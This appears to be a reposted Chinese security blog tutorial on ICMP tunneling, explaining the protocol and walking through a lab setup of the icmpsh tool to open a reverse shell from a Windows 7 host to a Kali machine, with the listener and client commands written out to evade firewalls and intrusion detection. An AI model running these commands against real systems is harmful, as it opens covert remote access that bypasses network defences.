利用ICMP协议反弹shell

admin 2022年6月7日21:27:21评论139 views字数 1852阅读6分10秒阅读模式


利用ICMP协议反弹shell

一、ICMP协议

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

主要概念有:
1.确认ip数据包是否成功到达目的地
2.通知源主机发送ip数据包丢失的原因
3.ICMP是基于IP协议工作的
4.ICMP只能作用于IPV4,IPV6下,使用ICMPv6

ICMP帧格式如下所示
利用ICMP协议反弹shell

其中,类型和代码字段决定了ICMP报文的类型,如下图所示

利用ICMP协议反弹shell

在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。

二、ICMP隧道技术原理

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。

利用ICMP协议反弹shell

进行隐蔽传输的时候,肉机运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端。

利用ICMP协议反弹shell

简单地说就是,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦。
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

利用ICMP协议反弹Shell

icmpsh

icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。
icmpsh下载地址:
https://github.com/inquisb/icmpsh

利用ICMP协议反弹shell

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问
安装Python-impacket库:
apt-get install python-impacket
安装库如果出现这种情况:

利用ICMP协议反弹shell

那么更新一下APT库就好了:
apt-get update
apt-get upgrade

利用ICMP协议反弹shell

目前还是显示安装库失败(尝试pip安装)

利用ICMP协议反弹shell

pip install impacket

显示已经安装好了库

利用ICMP协议反弹shell

因为icmpsh 工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0 ) ,否则shell的运行会不稳定

利用ICMP协议反弹shell

实验完成之后开启系统ping 的话将最后的1改为0即可
直接运行run.sh 发现还是需要先安装Impacket这个库

利用ICMP协议反弹shell

分析原因发现上面的Impacket 库是python3 环境下的库

利用ICMP协议反弹shell

目前的环境是python2 的环境

利用ICMP协议反弹shell

所以需要install pip2 ,首先下载pip的脚本

利用ICMP协议反弹shell

然后执行安装pip2的脚本,安装pip2,并且已经成功安装

利用ICMP协议反弹shell

通过pip2 安装impacket库

利用ICMP协议反弹shell

服务端再次执行icmpsh的run.sh脚本,填上客户端的地址

利用ICMP协议反弹shell

执行后发现报错,不知道为啥

利用ICMP协议反弹shell

于是我使用了icmpsh的Python脚本运行:
python icmpsh_m.py 192.168.230.128【kali】 192.168.230.135【win7】

利用ICMP协议反弹shell

然后在Win7上执行命令:
icmpsh.exe -t 192.168.230.128

利用ICMP协议反弹shell

这个时候就成功反弹shell到kali:

利用ICMP协议反弹shell

利用ICMP协议反弹shell

通过wireshark 看到,两个IP之间的通信全是icmp的协议报文

利用ICMP协议反弹shell

ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性

利用ICMP协议反弹shell

icmpsh.exe -t x.x.x.x -d 500 -b 30 -s 128
参数解读
-t host 要发送ping请求的主机IP地址。这个选项是强制性的!
-d milliseconds 请求间的延迟,单位为毫秒
-b num 空白限制(退出前未回答的icmp请求)
-s bytes 以字节为单位的最大数据缓冲区大小
为了提高速度,降低请求之间的延迟(
-d) 或 增加数据缓冲区的大小(-s)。


原文始发于微信公众号(闪焰安全服务团队):利用ICMP协议反弹shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月7日21:27:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用ICMP协议反弹shellhttp://cn-sec.com/archives/1094513.html

发表评论

匿名网友 填写信息